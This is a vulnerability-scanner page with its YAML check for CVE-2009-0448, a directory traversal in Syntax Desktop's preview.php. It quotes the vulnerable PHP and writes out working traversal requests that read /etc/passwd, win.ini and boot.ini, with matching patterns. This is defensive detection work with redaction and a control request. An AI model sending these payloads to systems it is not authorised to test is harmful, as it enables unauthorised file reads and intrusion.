Syntax Desktop — 1 vulnerability check

noctis ships 1 vulnerability check for Syntax Desktop, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Syntax Desktop preview.php synTarget Directory Traversal

CVECVE-2009-0448
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, match, script · highest QoD 75
Feedtests/vulnerabilities/syntax-desktop/CVE-2009-0448.yaml

Tests Syntax Desktop 2.7 and earlier for the directory traversal in admin/modules/aa/preview.php, which includes and prints a file named by the synTarget parameter without authentication. The feed requests preview.php with synTarget set to a relative path to /etc/passwd, or to windows/win.ini and boot.ini on Windows, under the web root and the usual /syntax, /syntaxdesktop, /syntax-desktop and /sd install paths. A reply carrying the content of the chosen file confirms the traversal. A control request for an absent random file must not return any of these files, so a server that serves the same content on every request is not reported. Only world-readable system files are read; root's password field is redacted from the evidence.

How noctis detects it

  1. HTTP(S) request GET {{dir}}/admin/modules/aa/preview.php?synTarget=../../../../../../../../../etc/passwd
  2. Checks passwd_r.body for (?m)(?:^|>)root:[^:\r\n<>]*:0:([01]):([^:\r\n<>]*:[^:\r\n<>]*:[^:\r\n…
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{dir}}/admin/modules/aa/preview.php?synTarget=../../../../../../../../../windows/win…
  5. Checks winini_r.body for (?i)(; for 16-bit app support|\[fonts\])
  6. HTTP(S) request GET {{dir}}/admin/modules/aa/preview.php?synTarget=../../../../../../../../../boot.ini
  7. Checks bootini_r.body for (?i)\[boot loader\]
  8. HTTP(S) request GET {{dir}}/admin/modules/aa/preview.php?synTarget=../../../../../../../../../etc/passwd.…
  9. Checks ctrl_r.body for (?mi)((?:^|>)root:[^:\r\n<>]*:0:[01]:|; for 16-bit app support|\[font…
  10. Checks lin_proof for ^root:<redacted>:0:[01]: → finding QoD 75: Syntax Desktop preview.php synTarget Directory Traversal (CVE-2009-0448)
  11. Checks win_file for ^(windows/win\.ini|boot\.ini)$ → finding QoD 75: Syntax Desktop preview.php synTarget Directory Traversal (CVE-2009-0448)

References:

Feed source — tests/vulnerabilities/syntax-desktop/CVE-2009-0448.yaml
# Syntax Desktop admin/modules/aa/preview.php synTarget directory traversal /
# local file inclusion — CVE-2009-0448
#
# Syntax Desktop <= 2.7 admin/modules/aa/preview.php does, with no login check:
#     $target=$_GET["synTarget"];
#     ob_start();
#       include("../../../$target");
#     $contents=ob_get_contents();
#     ob_end_clean();
#     ...
#     echo $contents;
# so synTarget=../../../../../../../../../etc/passwd prints any file the web
# server can read (PHP files under the web root are executed instead). 2.9
# comments the include line out (the page then answers with an empty body).
# Checked against the 2.7 and 2.9 release zips from SourceForge.
#
# Detection (benign, read-only):
#   1. GET <dir>/admin/modules/aa/preview.php?synTarget=<9x ../>etc/passwd
#      and match root's passwd line (QoD 75); on Windows installs
#      windows/win.ini, then boot.ini.
#   2. Control: the same request for an absent random file must come back
#      without any file signature (fail-closed: no control reply, no finding).
#   "../" sits in the query string, which http_request sends verbatim.
#
# Improvements over the source NASL:
#   - No "%00" after the file name. Nothing is appended to synTarget, so the
#     NUL byte is not needed, and on PHP >= 5.3.4 it makes include() fail:
#     the source check misses every install on a current PHP (checked with a
#     real PHP 8.3 sink: with %00 an include warning, without it the file).
#   - The source check only probes when /index.php contains "Syntax Desktop",
#     which the 2.7 front page only prints before setup has run; the feed
#     probes preview.php directly.
#   - Also walks the usual install paths (/, /syntax, /syntaxdesktop,
#     /syntax-desktop, /sd).
#   - Absent-file control (blanket responders / honeypots keyed on
#     "etc/passwd" are not reported); root's password field is redacted.
#
# Ported from OpenVAS/Greenbone NVT 2009/gb_syntax_desktop_dir_trvsl_vuln.nasl
# (GPL-2.0-only). Public exploit: exploit-db 7977 / BID 33601.
uid: a189dd9a-cc87-4da9-a2b5-8ce792979e69
name: "Syntax Desktop preview.php synTarget Directory Traversal (CVE-2009-0448)"
description: |
  Tests Syntax Desktop 2.7 and earlier for the directory traversal in
  admin/modules/aa/preview.php, which includes and prints a file named by the
  synTarget parameter without authentication. The feed requests preview.php
  with synTarget set to a relative path to /etc/passwd, or to windows/win.ini
  and boot.ini on Windows, under the web root and the usual /syntax,
  /syntaxdesktop, /syntax-desktop and /sd install paths. A reply carrying the
  content of the chosen file confirms the traversal. A control request for an
  absent random file must not return any of these files, so a server that
  serves the same content on every request is not reported. Only
  world-readable system files are read; root's password field is redacted
  from the evidence.
cves: [CVE-2009-0448]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [syntax-desktop, lfi, file-inclusion, path-traversal, file-read, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-0448"
  - "https://www.exploit-db.com/exploits/7977"
  - "http://www.securityfocus.com/bid/33601"
  - "https://sourceforge.net/projects/syntax-desktop/files/syntax-desktop/2.7/"
  # OpenVAS/Greenbone NASL 2009/gb_syntax_desktop_dir_trvsl_vuln.nasl (GPL-2.0-only)

steps:
  # ── Loop group: every following step runs once per install dir. Each pass
  # resets the values it reads, so nothing is left over from the last pass.
  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/syntax", "/syntaxdesktop", "/syntax-desktop", "/sd"]

  - id: init-lin-proof
    action: set_var
    var_name: lin_proof
    var_value: ""

  - id: init-win-file
    action: set_var
    var_name: win_file
    var_value: ""

  - id: init-winini-r
    action: set_var
    var_name: winini_r
    var_value: {status: 0, body: ""}

  - id: init-bootini-r
    action: set_var
    var_name: bootini_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  # ── Linux: /etc/passwd ───────────────────────────────────────────────────
  - id: read-passwd
    action: http_request
    method: GET
    path: "{{dir}}/admin/modules/aa/preview.php?synTarget=../../../../../../../../../etc/passwd"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: passwd_r

  # No on_match: the raw body (root's password field) must not become evidence.
  - id: passwd-content
    action: match
    source: passwd_r.body
    pattern: "(?m)(?:^|>)root:[^:\\r\\n<>]*:0:([01]):([^:\\r\\n<>]*:[^:\\r\\n<>]*:[^:\\r\\n<>]*)\\r?$"
    store_as: passwd_m

  - id: passwd-redact
    action: script
    code: |
      if passwd_m.matched && passwd_m.captures.len() > 1 {
        "root:<redacted>:0:" + passwd_m.captures[0] + ":" + passwd_m.captures[1]
      } else { "" }
    store_as: lin_proof

  # ── Windows: windows/win.ini, then boot.ini (older Windows) ──────────────
  - id: read-winini
    action: http_request
    method: GET
    path: "{{dir}}/admin/modules/aa/preview.php?synTarget=../../../../../../../../../windows/win.ini"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof == "" && passwd_r.status == 200'
    store_as: winini_r

  - id: winini-content
    action: match
    source: winini_r.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: 'lin_proof == "" && passwd_r.status == 200'
    on_match:
      set_vars:
        win_file: "windows/win.ini"

  - id: read-bootini
    action: http_request
    method: GET
    path: "{{dir}}/admin/modules/aa/preview.php?synTarget=../../../../../../../../../boot.ini"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof == "" && win_file == "" && passwd_r.status == 200'
    store_as: bootini_r

  - id: bootini-content
    action: match
    source: bootini_r.body
    pattern: "(?i)\\[boot loader\\]"
    condition: 'lin_proof == "" && win_file == "" && passwd_r.status == 200'
    on_match:
      set_vars:
        win_file: "boot.ini"

  # ── Control: same parameter, absent random file — must NOT carry a file ──
  # The absent name still contains etc/passwd, win.ini and boot.ini, so a
  # honeypot that keys a fake file on those substrings answers it too.
  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/admin/modules/aa/preview.php?synTarget=../../../../../../../../../etc/passwd.win.ini.boot.ini.noctis-absent-{{oob_token}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?mi)((?:^|>)root:[^:\\r\\n<>]*:0:[01]:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
    condition: 'lin_proof != "" || win_file != ""'
    on_match:
      set_vars:
        ctrl_hit: true

  # ── Findings (control answered and stayed clean) ─────────────────────────
  - id: report-passwd
    action: match
    source: lin_proof
    pattern: "^root:<redacted>:0:[01]:"
    condition: "ctrl_r.status != 0 && ctrl_hit == false"
    on_match:
      finding:
        title: "Syntax Desktop preview.php synTarget Directory Traversal (CVE-2009-0448)"
        description: "An unauthenticated request to admin/modules/aa/preview.php with synTarget set to a relative path to /etc/passwd returned the content of /etc/passwd, while the same request for an absent file did not: preview.php includes and prints any file the web server can read."
        remediation: "Upgrade Syntax Desktop to 2.9 or later, or remove admin/modules/aa/preview.php / block access to the admin directory."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/admin/modules/aa/preview.php?synTarget=../../../../../../../../../etc/passwd returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
      stop: true

  - id: report-windows
    action: match
    source: win_file
    pattern: "^(windows/win\\.ini|boot\\.ini)$"
    condition: "ctrl_r.status != 0 && ctrl_hit == false"
    on_match:
      finding:
        title: "Syntax Desktop preview.php synTarget Directory Traversal (CVE-2009-0448)"
        description: "An unauthenticated request to admin/modules/aa/preview.php with synTarget set to a relative path to a Windows system file returned that file's content, while the same request for an absent file did not: preview.php includes and prints any file the web server can read."
        remediation: "Upgrade Syntax Desktop to 2.9 or later, or remove admin/modules/aa/preview.php / block access to the admin directory."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/admin/modules/aa/preview.php?synTarget=../../../../../../../../../{{win_file}} returned the content of {{win_file}}; control for an absent file returned no file content"
      stop: true

View these feeds on GitHub